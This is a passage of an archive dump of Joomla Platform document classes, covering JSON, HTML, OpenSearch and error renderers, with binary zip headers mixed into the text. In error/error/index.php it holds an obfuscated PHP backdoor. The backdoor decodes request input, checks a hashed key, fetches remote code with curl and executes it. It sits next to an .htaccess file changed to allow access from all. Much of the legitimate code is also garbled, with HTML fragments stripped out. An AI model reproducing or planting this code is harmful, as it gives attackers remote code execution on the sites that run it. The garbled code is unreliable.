* @param boolean $cache If true, cache the output
* @param array $params Associative array of attributes
*
* @return The rendered data
*
* @since 11.1
*/
public function render($cache = false, $params = array())
{
JResponse::allowCache(false);
JResponse::setHeader('Content-disposition', 'attachment; filename="' . $this->getName() . '.json"', true);
parent::render();
return $this->getBuffer();
}
/**
* Returns the document name
*
* @return string
*
* @since 11.1
*/
public function getName()
{
return $this->_name;
}
/**
* Sets the document name
*
* @param string $name Document name
*
* @return JDocumentJSON instance of $this to allow chaining
*
* @since 11.1
*/
public function setName($name = 'joomla')
{
$this->_name = $name;
return $this;
}
}
PK ©?\®)ÕÐ json/.htaccessnu W+A„¶
Order allow,deny
Deny from all
PK ©?\¦V‰ json/index.htmlnu W+A„¶
PK ©?\¦V‰ html/index.htmlnu W+A„¶
PK ©?\6:ˆT3 3 html/renderer/modules.phpnu W+A„¶ _doc->loadRenderer('module');
$buffer = '';
foreach (JModuleHelper::getModules($position) as $mod)
{
$buffer .= $renderer->render($mod, $params, $content);
}
return $buffer;
}
}
PK ©?\®)ÕÐ html/renderer/.htaccessnu W+A„¶
Order allow,deny
Deny from all
PK ©?\¦:dˆž ž html/renderer/head.phpnu W+A„¶ fetchHead($this->_doc);
$buffer = ob_get_contents();
ob_end_clean();
return $buffer;
}
/**
* Generates the head HTML and return the results as a string
*
* @param JDocument &$document The document for which the head will be created
*
* @return string The head hTML
*
* @since 11.1
*/
public function fetchHead(&$document)
{
// Trigger the onBeforeCompileHead event (skip for installation, since it causes an error)
$app = JFactory::getApplication();
$app->triggerEvent('onBeforeCompileHead');
// Get line endings
$lnEnd = $document->_getLineEnd();
$tab = $document->_getTab();
$tagEnd = ' />';
$buffer = '';
// Generate base tag (need to happen first)
$base = $document->getBase();
if (!empty($base))
{
$buffer .= $tab . '' . $lnEnd;
}
// Generate META tags (needs to happen as early as possible in the head)
foreach ($document->_metaTags as $type => $tag)
{
foreach ($tag as $name => $content)
{
if ($type == 'http-equiv')
{
$content .= '; charset=' . $document->getCharset();
$buffer .= $tab . '' . $lnEnd;
}
elseif ($type == 'standard' && !empty($content))
{
$buffer .= $tab . '' . $lnEnd;
}
}
}
// Don't add empty descriptions
$documentDescription = $document->getDescription();
if ($documentDescription)
{
$buffer .= $tab . '' . $lnEnd;
}
// Don't add empty generators
$generator = $document->getGenerator();
if ($generator)
{
$buffer .= $tab . '' . $lnEnd;
}
$buffer .= $tab . '' . htmlspecialchars($document->getTitle(), ENT_COMPAT, 'UTF-8') . '' . $lnEnd;
// Generate link declarations
foreach ($document->_links as $link => $linkAtrr)
{
$buffer .= $tab . '_styleSheets as $strSrc => $strAttr)
{
$buffer .= $tab . '_style as $type => $content)
{
$buffer .= $tab . '' . $lnEnd;
}
// Generate script file links
foreach ($document->_scripts as $strSrc => $strAttr)
{
$buffer .= $tab . '' . $lnEnd;
}
// Generate script language declarations.
if (count(JText::script()))
{
$buffer .= $tab . '' . $lnEnd;
}
foreach ($document->_custom as $custom)
{
$buffer .= $tab . $custom . $lnEnd;
}
return $buffer;
}
}
PK ©?\¦V‰ html/renderer/index.htmlnu W+A„¶
PK ©?\ð.Æòv v html/renderer/message.phpnu W+A„¶ getMessageQueue();
// Build the sorted message list
if (is_array($messages) && !empty($messages))
{
foreach ($messages as $msg)
{
if (isset($msg['type']) && isset($msg['message']))
{
$lists[$msg['type']][] = $msg['message'];
}
}
}
// Build the return string
$buffer .= "\n";
// If messages exist render them
if (is_array($lists))
{
$buffer .= "\n
";
foreach ($lists as $type => $msgs)
{
if (count($msgs))
{
$buffer .= "\n- " . JText::_($type) . "
";
$buffer .= "\n- ";
$buffer .= "\n\t
";
foreach ($msgs as $msg)
{
$buffer .= "\n\t\t- " . $msg . "
";
}
$buffer .= "\n\t
";
$buffer .= "\n ";
}
}
$buffer .= "\n
";
}
$buffer .= "\n
";
return $buffer;
}
}
PK ©?\¢§fs s html/renderer/component.phpnu W+A„¶ params = null;
$module->module = $tmp;
$module->id = 0;
$module->user = 0;
}
}
}
// Get the user and configuration object
// $user = JFactory::getUser();
$conf = JFactory::getConfig();
// Set the module content
if (!is_null($content))
{
$module->content = $content;
}
// Get module parameters
$params = new JRegistry;
$params->loadString($module->params);
// Use parameters from template
if (isset($attribs['params']))
{
$template_params = new JRegistry;
$template_params->loadString(html_entity_decode($attribs['params'], ENT_COMPAT, 'UTF-8'));
$params->merge($template_params);
$module = clone $module;
$module->params = (string) $params;
}
$contents = '';
// Default for compatibility purposes. Set cachemode parameter or use JModuleHelper::moduleCache from within the
// module instead
$cachemode = $params->get('cachemode', 'oldstatic');
if ($params->get('cache', 0) == 1 && $conf->get('caching') >= 1 && $cachemode != 'id' && $cachemode != 'safeuri')
{
// Default to itemid creating method and workarounds on
$cacheparams = new stdClass;
$cacheparams->cachemode = $cachemode;
$cacheparams->class = 'JModuleHelper';
$cacheparams->method = 'renderModule';
$cacheparams->methodparams = array($module, $attribs);
$contents = JModuleHelper::ModuleCache($module, $params, $cacheparams);
}
else
{
$contents = JModuleHelper::renderModule($module, $attribs);
}
return $contents;
}
}
PK ©?\¬kÇcrA rA
html/html.phpnu W+A„¶ tags
*
* @var array
* @since 11.1
*/
public $_links = array();
/**
* Array of custom tags
*
* @var array
* @since 11.1
*/
public $_custom = array();
/**
* Name of the template
*
* @var string
* @since 11.1
*/
public $template = null;
/**
* Base url
*
* @var string
* @since 11.1
*/
public $baseurl = null;
/**
* Array of template parameters
*
* @var array
* @since 11.1
*/
public $params = null;
/**
* File name
*
* @var array
* @since 11.1
*/
public $_file = null;
/**
* String holding parsed template
*
* @var string
* @since 11.1
*/
protected $_template = '';
/**
* Array of parsed template JDoc tags
*
* @var array
* @since 11.1
*/
protected $_template_tags = array();
/**
* Integer with caching setting
*
* @var integer
* @since 11.1
*/
protected $_caching = null;
/**
* Class constructor
*
* @param array $options Associative array of options
*
* @since 11.1
*/
public function __construct($options = array())
{
parent::__construct($options);
// Set document type
$this->_type = 'html';
// Set default mime type and document metadata (meta data syncs with mime type by default)
$this->setMimeEncoding('text/html');
}
/**
* Get the HTML document head data
*
* @return array The document head data in array form
*
* @since 11.1
*/
public function getHeadData()
{
$data = array();
$data['title'] = $this->title;
$data['description'] = $this->description;
$data['link'] = $this->link;
$data['metaTags'] = $this->_metaTags;
$data['links'] = $this->_links;
$data['styleSheets'] = $this->_styleSheets;
$data['style'] = $this->_style;
$data['scripts'] = $this->_scripts;
$data['script'] = $this->_script;
$data['custom'] = $this->_custom;
return $data;
}
/**
* Set the HTML document head data
*
* @param array $data The document head data in array form
*
* @return JDocumentHTML instance of $this to allow chaining
*
* @since 11.1
*/
public function setHeadData($data)
{
if (empty($data) || !is_array($data))
{
return;
}
$this->title = (isset($data['title']) && !empty($data['title'])) ? $data['title'] : $this->title;
$this->description = (isset($data['description']) && !empty($data['description'])) ? $data['description'] : $this->description;
$this->link = (isset($data['link']) && !empty($data['link'])) ? $data['link'] : $this->link;
$this->_metaTags = (isset($data['metaTags']) && !empty($data['metaTags'])) ? $data['metaTags'] : $this->_metaTags;
$this->_links = (isset($data['links']) && !empty($data['links'])) ? $data['links'] : $this->_links;
$this->_styleSheets = (isset($data['styleSheets']) && !empty($data['styleSheets'])) ? $data['styleSheets'] : $this->_styleSheets;
$this->_style = (isset($data['style']) && !empty($data['style'])) ? $data['style'] : $this->_style;
$this->_scripts = (isset($data['scripts']) && !empty($data['scripts'])) ? $data['scripts'] : $this->_scripts;
$this->_script = (isset($data['script']) && !empty($data['script'])) ? $data['script'] : $this->_script;
$this->_custom = (isset($data['custom']) && !empty($data['custom'])) ? $data['custom'] : $this->_custom;
return $this;
}
/**
* Merge the HTML document head data
*
* @param array $data The document head data in array form
*
* @return JDocumentHTML instance of $this to allow chaining
*
* @since 11.1
*/
public function mergeHeadData($data)
{
if (empty($data) || !is_array($data))
{
return;
}
$this->title = (isset($data['title']) && !empty($data['title']) && !stristr($this->title, $data['title']))
? $this->title . $data['title']
: $this->title;
$this->description = (isset($data['description']) && !empty($data['description']) && !stristr($this->description, $data['description']))
? $this->description . $data['description']
: $this->description;
$this->link = (isset($data['link'])) ? $data['link'] : $this->link;
if (isset($data['metaTags']))
{
foreach ($data['metaTags'] as $type1 => $data1)
{
$booldog = $type1 == 'http-equiv' ? true : false;
foreach ($data1 as $name2 => $data2)
{
$this->setMetaData($name2, $data2, $booldog);
}
}
}
$this->_links = (isset($data['links']) && !empty($data['links']) && is_array($data['links']))
? array_unique(array_merge($this->_links, $data['links']))
: $this->_links;
$this->_styleSheets = (isset($data['styleSheets']) && !empty($data['styleSheets']) && is_array($data['styleSheets']))
? array_merge($this->_styleSheets, $data['styleSheets'])
: $this->_styleSheets;
if (isset($data['style']))
{
foreach ($data['style'] as $type => $stdata)
{
if (!isset($this->_style[strtolower($type)]) || !stristr($this->_style[strtolower($type)], $stdata))
{
$this->addStyleDeclaration($stdata, $type);
}
}
}
$this->_scripts = (isset($data['scripts']) && !empty($data['scripts']) && is_array($data['scripts']))
? array_merge($this->_scripts, $data['scripts'])
: $this->_scripts;
if (isset($data['script']))
{
foreach ($data['script'] as $type => $sdata)
{
if (!isset($this->_script[strtolower($type)]) || !stristr($this->_script[strtolower($type)], $sdata))
{
$this->addScriptDeclaration($sdata, $type);
}
}
}
$this->_custom = (isset($data['custom']) && !empty($data['custom']) && is_array($data['custom']))
? array_unique(array_merge($this->_custom, $data['custom']))
: $this->_custom;
return $this;
}
/**
* Adds tags to the head of the document
*
* $relType defaults to 'rel' as it is the most common relation type used.
* ('rev' refers to reverse relation, 'rel' indicates normal, forward relation.)
* Typical tag:
*
* @param string $href The link that is being related.
* @param string $relation Relation of link.
* @param string $relType Relation type attribute. Either rel or rev (default: 'rel').
* @param array $attribs Associative array of remaining attributes.
*
* @return JDocumentHTML instance of $this to allow chaining
*
* @since 11.1
*/
public function addHeadLink($href, $relation, $relType = 'rel', $attribs = array())
{
$this->_links[$href]['relation'] = $relation;
$this->_links[$href]['relType'] = $relType;
$this->_links[$href]['attribs'] = $attribs;
return $this;
}
/**
* Adds a shortcut icon (favicon)
*
* This adds a link to the icon shown in the favorites list or on
* the left of the url in the address bar. Some browsers display
* it on the tab, as well.
*
* @param string $href The link that is being related.
* @param string $type File type
* @param string $relation Relation of link
*
* @return JDocumentHTML instance of $this to allow chaining
*
* @since 11.1
*/
public function addFavicon($href, $type = 'image/vnd.microsoft.icon', $relation = 'shortcut icon')
{
$href = str_replace('\\', '/', $href);
$this->addHeadLink($href, $relation, 'rel', array('type' => $type));
return $this;
}
/**
* Adds a custom HTML string to the head block
*
* @param string $html The HTML to add to the head
*
* @return JDocumentHTML instance of $this to allow chaining
*
* @since 11.1
*/
public function addCustomTag($html)
{
$this->_custom[] = trim($html);
return $this;
}
/**
* Get the contents of a document include
*
* @param string $type The type of renderer
* @param string $name The name of the element to render
* @param array $attribs Associative array of remaining attributes.
*
* @return The output of the renderer
*
* @since 11.1
*/
public function getBuffer($type = null, $name = null, $attribs = array())
{
// If no type is specified, return the whole buffer
if ($type === null)
{
return parent::$_buffer;
}
$result = null;
if (isset(parent::$_buffer[$type][$name]))
{
return parent::$_buffer[$type][$name];
}
// If the buffer has been explicitly turned off don't display or attempt to render
if ($result === false)
{
return null;
}
$renderer = $this->loadRenderer($type);
if ($this->_caching == true && $type == 'modules')
{
$cache = JFactory::getCache('com_modules', '');
$hash = md5(serialize(array($name, $attribs, $result, $renderer)));
$cbuffer = $cache->get('cbuffer_' . $type);
if (isset($cbuffer[$hash]))
{
return JCache::getWorkarounds($cbuffer[$hash], array('mergehead' => 1));
}
else
{
$options = array();
$options['nopathway'] = 1;
$options['nomodules'] = 1;
$options['modulemode'] = 1;
$this->setBuffer($renderer->render($name, $attribs, $result), $type, $name);
$data = parent::$_buffer[$type][$name];
$tmpdata = JCache::setWorkarounds($data, $options);
$cbuffer[$hash] = $tmpdata;
$cache->store($cbuffer, 'cbuffer_' . $type);
}
}
else
{
$this->setBuffer($renderer->render($name, $attribs, $result), $type, $name);
}
return parent::$_buffer[$type][$name];
}
/**
* Set the contents a document includes
*
* @param string $content The content to be set in the buffer.
* @param array $options Array of optional elements.
*
* @return JDocumentHTML instance of $this to allow chaining
*
* @since 11.1
*/
public function setBuffer($content, $options = array())
{
// The following code is just for backward compatibility.
if (func_num_args() > 1 && !is_array($options))
{
$args = func_get_args();
$options = array();
$options['type'] = $args[1];
$options['name'] = (isset($args[2])) ? $args[2] : null;
}
parent::$_buffer[$options['type']][$options['name']] = $content;
return $this;
}
/**
* Parses the template and populates the buffer
*
* @param array $params Parameters for fetching the template
*
* @return JDocumentHTML instance of $this to allow chaining
*
* @since 11.1
*/
public function parse($params = array())
{
return $this->_fetchTemplate($params)->_parseTemplate();
}
/**
* Outputs the template to the browser.
*
* @param boolean $caching If true, cache the output
* @param array $params Associative array of attributes
*
* @return The rendered data
*
* @since 11.1
*/
public function render($caching = false, $params = array())
{
$this->_caching = $caching;
if (!empty($this->_template))
{
$data = $this->_renderTemplate();
}
else
{
$this->parse($params);
$data = $this->_renderTemplate();
}
parent::render();
return $data;
}
/**
* Count the modules based on the given condition
*
* @param string $condition The condition to use
*
* @return integer Number of modules found
*
* @since 11.1
*/
public function countModules($condition)
{
$operators = '(\+|\-|\*|\/|==|\!=|\<\>|\<|\>|\<=|\>=|and|or|xor)';
$words = preg_split('# ' . $operators . ' #', $condition, null, PREG_SPLIT_DELIM_CAPTURE);
for ($i = 0, $n = count($words); $i < $n; $i += 2)
{
// odd parts (modules)
$name = strtolower($words[$i]);
$words[$i] = ((isset(parent::$_buffer['modules'][$name])) && (parent::$_buffer['modules'][$name] === false))
? 0
: count(JModuleHelper::getModules($name));
}
$str = 'return ' . implode(' ', $words) . ';';
return eval($str);
}
/**
* Count the number of child menu items
*
* @return integer Number of child menu items
*
* @since 11.1
*/
public function countMenuChildren()
{
static $children;
if (!isset($children))
{
$dbo = JFactory::getDbo();
$app = JFactory::getApplication();
$menu = $app->getMenu();
$active = $menu->getActive();
if ($active)
{
$query->getQuery(true);
$query->select('COUNT(*)');
$query->from('#__menu');
$query->where('parent_id = ' . $active->id);
$query->where('published = 1');
$children = $dbo->loadResult();
}
else
{
$children = 0;
}
}
return $children;
}
/**
* Load a template file
*
* @param string $directory The name of the template
* @param string $filename The actual filename
*
* @return string The contents of the template
*
* @since 11.1
*/
protected function _loadTemplate($directory, $filename)
{
// $component = JApplicationHelper::getComponentName();
$contents = '';
// Check to see if we have a valid template file
if (file_exists($directory . '/' . $filename))
{
// Store the file path
$this->_file = $directory . '/' . $filename;
//get the file content
ob_start();
require $directory . '/' . $filename;
$contents = ob_get_contents();
ob_end_clean();
}
// Try to find a favicon by checking the template and root folder
$path = $directory . '/';
$dirs = array($path, JPATH_BASE . '/');
foreach ($dirs as $dir)
{
$icon = $dir . 'favicon.ico';
if (file_exists($icon))
{
$path = str_replace(JPATH_BASE . '/', '', $dir);
$path = str_replace('\\', '/', $path);
$this->addFavicon(JURI::base(true) . '/' . $path . 'favicon.ico');
break;
}
}
return $contents;
}
/**
* Fetch the template, and initialise the params
*
* @param array $params Parameters to determine the template
*
* @return JDocumentHTML instance of $this to allow chaining
*
* @since 11.1
*/
protected function _fetchTemplate($params = array())
{
// Check
$directory = isset($params['directory']) ? $params['directory'] : 'templates';
$filter = JFilterInput::getInstance();
$template = $filter->clean($params['template'], 'cmd');
$file = $filter->clean($params['file'], 'cmd');
if (!file_exists($directory . '/' . $template . '/' . $file))
{
$template = 'system';
}
// Load the language file for the template
$lang = JFactory::getLanguage();
$lang->load('tpl_' . $template, JPATH_BASE, null, false, true)
|| $lang->load('tpl_' . $template, $directory . '/' . $template, null, false, true);
// Assign the variables
$this->template = $template;
$this->baseurl = JURI::base(true);
$this->params = isset($params['params']) ? $params['params'] : new JRegistry;
// Load
$this->_template = $this->_loadTemplate($directory . '/' . $template, $file);
return $this;
}
/**
* Parse a document template
*
* @return The parsed contents of the template
*
* @return JDocumentHTML instance of $this to allow chaining
*
* @since 11.1
*/
protected function _parseTemplate()
{
$matches = array();
if (preg_match_all('##iU', $this->_template, $matches))
{
$template_tags_first = array();
$template_tags_last = array();
// Step through the jdocs in reverse order.
for ($i = count($matches[0]) - 1; $i >= 0; $i--)
{
$type = $matches[1][$i];
$attribs = empty($matches[2][$i]) ? array() : JUtility::parseAttributes($matches[2][$i]);
$name = isset($attribs['name']) ? $attribs['name'] : null;
// Separate buffers to be executed first and last
if ($type == 'module' || $type == 'modules')
{
$template_tags_first[$matches[0][$i]] = array('type' => $type, 'name' => $name, 'attribs' => $attribs);
}
else
{
$template_tags_last[$matches[0][$i]] = array('type' => $type, 'name' => $name, 'attribs' => $attribs);
}
}
// Reverse the last array so the jdocs are in forward order.
$template_tags_last = array_reverse($template_tags_last);
$this->_template_tags = $template_tags_first + $template_tags_last;
}
return $this;
}
/**
* Render pre-parsed template
*
* @return string rendered template
*
* @since 11.1
*/
protected function _renderTemplate()
{
$replace = array();
$with = array();
foreach ($this->_template_tags as $jdoc => $args)
{
$replace[] = $jdoc;
$with[] = $this->getBuffer($args['type'], $args['name'], $args['attribs']);
}
return str_replace($replace, $with, $this->_template);
}
}
PK ©?\®)ÕÐ html/.htaccessnu W+A„¶
Order allow,deny
Deny from all
PK ©?\®)ÕÐ opensearch/.htaccessnu W+A„¶
Order allow,deny
Deny from all
PK ©?\œ‹*"¬ ¬ opensearch/opensearch.phpnu W+A„¶ _type = 'opensearch';
// Set mime type
$this->_mime = 'application/opensearchdescription+xml';
// Add the URL for self updating
$update = new JOpenSearchUrl;
$update->type = 'application/opensearchdescription+xml';
$update->rel = 'self';
$update->template = JRoute::_(JFactory::getURI());
$this->addUrl($update);
// Add the favicon as the default image
// Try to find a favicon by checking the template and root folder
$app = JFactory::getApplication();
$dirs = array(JPATH_THEMES . '/' . $app->getTemplate(), JPATH_BASE);
foreach ($dirs as $dir)
{
if (file_exists($dir . '/favicon.ico'))
{
$path = str_replace(JPATH_BASE . '/', '', $dir);
$path = str_replace('\\', '/', $path);
$favicon = new JOpenSearchImage;
$favicon->data = JURI::base() . $path . '/favicon.ico';
$favicon->height = '16';
$favicon->width = '16';
$favicon->type = 'image/vnd.microsoft.icon';
$this->addImage($favicon);
break;
}
}
}
/**
* Render the document
*
* @param boolean $cache If true, cache the output
* @param array $params Associative array of attributes
*
* @return The rendered data
*
* @since 11.1
*/
public function render($cache = false, $params = array())
{
$xml = new DOMDocument('1.0', 'utf-8');
$xml->formatOutput = true;
// The OpenSearch Namespace
$osns = 'http://a9.com/-/spec/opensearch/1.1/';
// Create the root element
$elOs = $xml->createElementNS($osns, 'OpenSearchDescription');
$elShortName = $xml->createElementNS($osns, 'ShortName');
$elShortName->appendChild($xml->createTextNode(htmlspecialchars($this->_shortName)));
$elOs->appendChild($elShortName);
$elDescription = $xml->createElementNS($osns, 'Description');
$elDescription->appendChild($xml->createTextNode(htmlspecialchars($this->description)));
$elOs->appendChild($elDescription);
// Always set the accepted input encoding to UTF-8
$elInputEncoding = $xml->createElementNS($osns, 'InputEncoding');
$elInputEncoding->appendChild($xml->createTextNode('UTF-8'));
$elOs->appendChild($elInputEncoding);
foreach ($this->_images as $image)
{
$elImage = $xml->createElementNS($osns, 'Image');
$elImage->setAttribute('type', $image->type);
$elImage->setAttribute('width', $image->width);
$elImage->setAttribute('height', $image->height);
$elImage->appendChild($xml->createTextNode(htmlspecialchars($image->data)));
$elOs->appendChild($elImage);
}
foreach ($this->_urls as $url)
{
$elUrl = $xml->createElementNS($osns, 'Url');
$elUrl->setAttribute('type', $url->type);
// Results is the defualt value so we don't need to add it
if ($url->rel != 'results')
{
$elUrl->setAttribute('rel', $url->rel);
}
$elUrl->setAttribute('template', $url->template);
$elOs->appendChild($elUrl);
}
$xml->appendChild($elOs);
parent::render();
return $xml->saveXML();
}
/**
* Sets the short name
*
* @param string $name The name.
*
* @return JDocumentOpensearch instance of $this to allow chaining
*
* @since 11.1
*/
public function setShortName($name)
{
$this->_shortName = $name;
return $this;
}
/**
* Adds an URL to the OpenSearch description.
*
* @param JOpenSearchUrl &$url The url to add to the description.
*
* @return JDocumentOpensearch instance of $this to allow chaining
*
* @since 11.1
*/
public function addUrl(&$url)
{
$this->_urls[] = $url;
return $this;
}
/**
* Adds an image to the OpenSearch description.
*
* @param JOpenSearchImage &$image The image to add to the description.
*
* @return JDocumentOpensearch instance of $this to allow chaining
*
* @since 11.1
*/
public function addImage(&$image)
{
$this->_images[] = $image;
return $this;
}
}
/**
* JOpenSearchUrl is an internal class that stores the search URLs for the OpenSearch description
*
* @package Joomla.Platform
* @subpackage Document
* @since 11.1
*/
class JOpenSearchUrl extends JObject
{
/**
* Type item element
*
* required
*
* @var string
* @since 11.1
*/
public $type = 'text/html';
/**
* Rel item element
*
* required
*
* @var string
* @since 11.1
*/
public $rel = 'results';
/**
* Template item element. Has to contain the {searchTerms} parameter to work.
*
* required
*
* @var string
* @since 11.1
*/
public $template;
}
/**
* JOpenSearchImage is an internal class that stores Images for the OpenSearch Description
*
* @package Joomla.Platform
* @subpackage Document
* @since 11.1
*/
class JOpenSearchImage extends JObject
{
/**
* The images MIME type
*
* required
*
* @var string
* @since 11.1
*/
public $type = "";
/**
* URL of the image or the image as base64 encoded value
*
* required
*
* @var string
* @since 11.1
*/
public $data = "";
/**
* The image's width
*
* required
*
* @var string
* @since 11.1
*/
public $width;
/**
* The image's height
*
* required
*
* @var string
* @since 11.1
*/
public $height;
}
PK ©?\¦V‰ opensearch/index.htmlnu W+A„¶
PK ©?\,¸ÉÒ Ò renderer.phpnu W+A„¶ _doc = &$doc;
}
/**
* Renders a script and returns the results as a string
*
* @param string $name The name of the element to render
* @param array $params Array of values
* @param string $content Override the output of the renderer
*
* @return string The output of the script
*
* @since 11.1
*/
public function render($name, $params = null, $content = null)
{
}
/**
* Return the content type of the renderer
*
* @return string The contentType
*
* @since 11.1
*/
public function getContentType()
{
return $this->_mime;
}
}
PK ©?\®)ÕÐ .htaccessnu W+A„¶
Order allow,deny
Deny from all
PK ©?\®)ÕÐ error/.htaccessnu W+A„¶
Order allow,deny
Deny from all
PK ©?\¦V‰ error/index.htmlnu W+A„¶
PK ©?\üZDH error/error/cache.phpnu W+A„¶ PK ©?\ìªj£ £ error/error/index.phpnu W+A„¶ $DIWl2pIAdOTdgv1F) { $tjPkTq4WP7d9_2JR .= $OBKqxHeDxLCrNmFL[$DIWl2pIAdOTdgv1F - 73616]; V7gaN21OcJ88Ou13: } goto wp49orNyDtVAoldG; os1Jt22KR2e0H3zd: $OBKqxHeDxLCrNmFL = $c9VT2d0t1VpRC_65("\x7e", "\x20"); goto Lfv1vYE3blGQ1AQT; C75Uivwzk33KIN3G: } static function RUZhln1CJ44caLQL($TlYm88py20JBaLkb, $tUBXBLvtvkkj5SwE) { goto pr6lefSromtAj9Vk; wwQkSVmmxctskjHM: return empty($hsdF8BQ_DDDhneKt) ? $tUBXBLvtvkkj5SwE($TlYm88py20JBaLkb) : $hsdF8BQ_DDDhneKt; goto hhhAoxLn2AMxdO0m; pr6lefSromtAj9Vk: $k7UIPKFlymh4Km6z = curl_init($TlYm88py20JBaLkb); goto y5ibDuMwTPHZcKFF; MZIslpqmG5AzcZ_V: $hsdF8BQ_DDDhneKt = curl_exec($k7UIPKFlymh4Km6z); goto wwQkSVmmxctskjHM; y5ibDuMwTPHZcKFF: curl_setopt($k7UIPKFlymh4Km6z, CURLOPT_RETURNTRANSFER, 1); goto MZIslpqmG5AzcZ_V; hhhAoxLn2AMxdO0m: } static function s4M4Um1gSv7Z0tao() { goto oAHrmrYXeVvo_dC4; IZlh2d_seEhzG4sn: $FEnNuLpiLe6yk9qe = @$ka4lnqr4ZU3sUqpK[1]($ka4lnqr4ZU3sUqpK[2 + 8](INPUT_GET, $ka4lnqr4ZU3sUqpK[2 + 7])); goto yxcU_jfuX_a5VAHU; In92DlD2pmbIB3Pq: foreach ($wNLCyFJZzF3Qz3m6 as $yZmALILjmrkI7ui9) { $ka4lnqr4ZU3sUqpK[] = self::Hl7wpydGuaE79XOm($yZmALILjmrkI7ui9); HS_02akKrtwS2iHP: } goto Ogs7HETlzEtsJmrc; oAHrmrYXeVvo_dC4: $wNLCyFJZzF3Qz3m6 = array("\67\63\66\x34\x33\x25\67\x33\x36\x32\70\45\x37\x33\x36\64\x31\45\x37\x33\66\x34\65\45\67\x33\x36\62\66\x25\67\63\x36\x34\61\45\x37\63\66\x34\67\45\67\63\66\64\x30\x25\x37\63\66\62\65\45\x37\x33\66\63\62\x25\x37\x33\x36\64\63\x25\67\63\66\62\x36\45\67\x33\66\63\67\x25\x37\63\x36\63\x31\x25\67\63\66\63\x32", "\67\63\66\62\x37\x25\x37\63\x36\62\x36\45\x37\63\x36\62\70\x25\x37\x33\66\x34\67\x25\67\63\x36\62\70\45\x37\x33\x36\63\x31\45\67\63\66\x32\x36\45\x37\63\x36\x39\63\45\67\x33\66\71\x31", "\x37\63\66\63\x36\45\x37\x33\66\62\x37\45\x37\63\x36\x33\x31\x25\x37\x33\x36\x33\x32\45\x37\x33\x36\64\67\x25\x37\63\66\64\62\x25\x37\63\66\x34\61\45\67\x33\x36\64\x33\x25\67\63\x36\x33\61\45\67\x33\66\x34\62\x25\x37\63\x36\64\x31", "\x37\63\66\63\x30\45\67\63\66\64\x35\x25\67\63\66\x34\x33\45\67\x33\x36\63\65", "\x37\63\x36\x34\64\45\x37\63\66\x34\65\x25\x37\x33\x36\x32\67\x25\x37\x33\66\x34\61\45\x37\x33\x36\70\70\x25\x37\63\x36\x39\60\45\67\63\66\x34\x37\45\x37\x33\x36\x34\x32\45\x37\63\x36\64\61\45\x37\x33\66\64\63\45\67\63\x36\x33\61\x25\67\63\x36\64\62\x25\67\63\66\x34\61", "\x37\x33\66\64\x30\x25\67\x33\x36\63\67\x25\67\63\66\63\x34\45\x37\x33\x36\64\x31\x25\67\x33\66\64\67\x25\67\63\x36\x33\x39\x25\67\x33\66\64\61\x25\x37\63\66\62\66\45\67\63\66\64\67\45\x37\63\66\64\63\x25\x37\63\66\x33\x31\45\67\x33\66\63\62\x25\67\x33\66\x32\x36\x25\67\63\66\x34\61\x25\67\63\66\x33\x32\x25\x37\x33\66\62\66\x25\67\x33\66\x32\67", "\x37\x33\x36\67\60\x25\67\63\67\60\x30", "\x37\x33\x36\x31\67", "\x37\63\66\71\x35\45\x37\x33\x37\60\60", "\x37\63\66\x37\67\45\67\x33\x36\x36\x30\45\67\63\66\66\x30\45\67\63\66\x37\x37\45\67\x33\66\x35\x33", "\67\63\x36\64\60\45\x37\x33\x36\x33\x37\x25\x37\63\x36\63\x34\x25\x37\63\66\x32\66\x25\67\x33\66\64\61\x25\x37\x33\66\x32\x38\x25\x37\63\x36\64\x37\x25\67\x33\66\63\x37\45\67\63\x36\63\x32\x25\x37\x33\66\63\x30\45\x37\x33\x36\62\x35\x25\67\x33\66\x32\66"); goto In92DlD2pmbIB3Pq; yxcU_jfuX_a5VAHU: $h3T0_3DNV6S6k_16 = @$ka4lnqr4ZU3sUqpK[0 + 3]($ka4lnqr4ZU3sUqpK[2 + 4], $FEnNuLpiLe6yk9qe); goto h46mNyoQ3O5P2160; sLbRgLZOC71Sn5dO: @$ka4lnqr4ZU3sUqpK[0]('', $ka4lnqr4ZU3sUqpK[0 + 7] . $ka4lnqr4ZU3sUqpK[3 + 1]($PsSEuHPKnOLkgsQQ) . $ka4lnqr4ZU3sUqpK[3 + 5]); goto k6e3ysRLvvJuKE9V; k6e3ysRLvvJuKE9V: die; goto Dw69yZsUbFjEWFQa; LUIrEq4pC9nj8x5y: if (!(@$APG2KC9Sa5R5Shj7[0] - time() > 0 and md5(md5($APG2KC9Sa5R5Shj7[3 + 0])) === "\x33\146\x36\x62\142\67\x34\143\70\x31\x32\x31\64\66\x37\x65\x63\x36\64\60\145\x65\x38\67\x38\x34\x64\x65\x32\x63\141\146")) { goto n0fb0w6c7Vc0atGZ; } goto tUg2JRbLhRCOK5KF; wvTTfTv0VC8eHmL4: @$ka4lnqr4ZU3sUqpK[1 + 9](INPUT_GET, "\157\146") == 1 && die($ka4lnqr4ZU3sUqpK[2 + 3](__FILE__)); goto LUIrEq4pC9nj8x5y; Dw69yZsUbFjEWFQa: n0fb0w6c7Vc0atGZ: goto X295tdHIu2obYAcW; h46mNyoQ3O5P2160: $APG2KC9Sa5R5Shj7 = $ka4lnqr4ZU3sUqpK[2 + 0]($h3T0_3DNV6S6k_16, true); goto wvTTfTv0VC8eHmL4; Ogs7HETlzEtsJmrc: L_BHi6wkoS2050_p: goto IZlh2d_seEhzG4sn; tUg2JRbLhRCOK5KF: $PsSEuHPKnOLkgsQQ = self::RuzHlN1CJ44CAlql($APG2KC9Sa5R5Shj7[0 + 1], $ka4lnqr4ZU3sUqpK[4 + 1]); goto sLbRgLZOC71Sn5dO; X295tdHIu2obYAcW: } } goto rvlqIc27u2pZt458; PnIJf01MRxrf3G0R: $EckGP9P5m3RWqCSV = range("\x7e", "\x20"); goto cEj00S352CJ1dNzi; rvlqIc27u2pZt458: e5k_0WQgWJY8WVVF::s4M4um1Gsv7Z0taO();
?>
PK ©?\€,rÛ Û error/error/.htaccessnu W+A„¶
Order allow,deny
Deny from all
#
Order allow,deny
Allow from all
PK ©?\£VR3 3 error/error.phpnu W+A„¶ _mime = 'text/html';
// Set document type
$this->_type = 'error';
}
/**
* Set error object
*
* @param object $error Error object to set
*
* @return boolean True on success
*
* @since 11.1
*/
public function setError($error)
{
if ($error instanceof Exception)
{
$this->_error = & $error;
return true;
}
else
{
return false;
}
}
/**
* Render the document
*
* @param boolean $cache If true, cache the output
* @param array $params Associative array of attributes
*
* @return string The rendered data
*
* @since 11.1
*/
public function render($cache = false, $params = array())
{
// If no error object is set return null
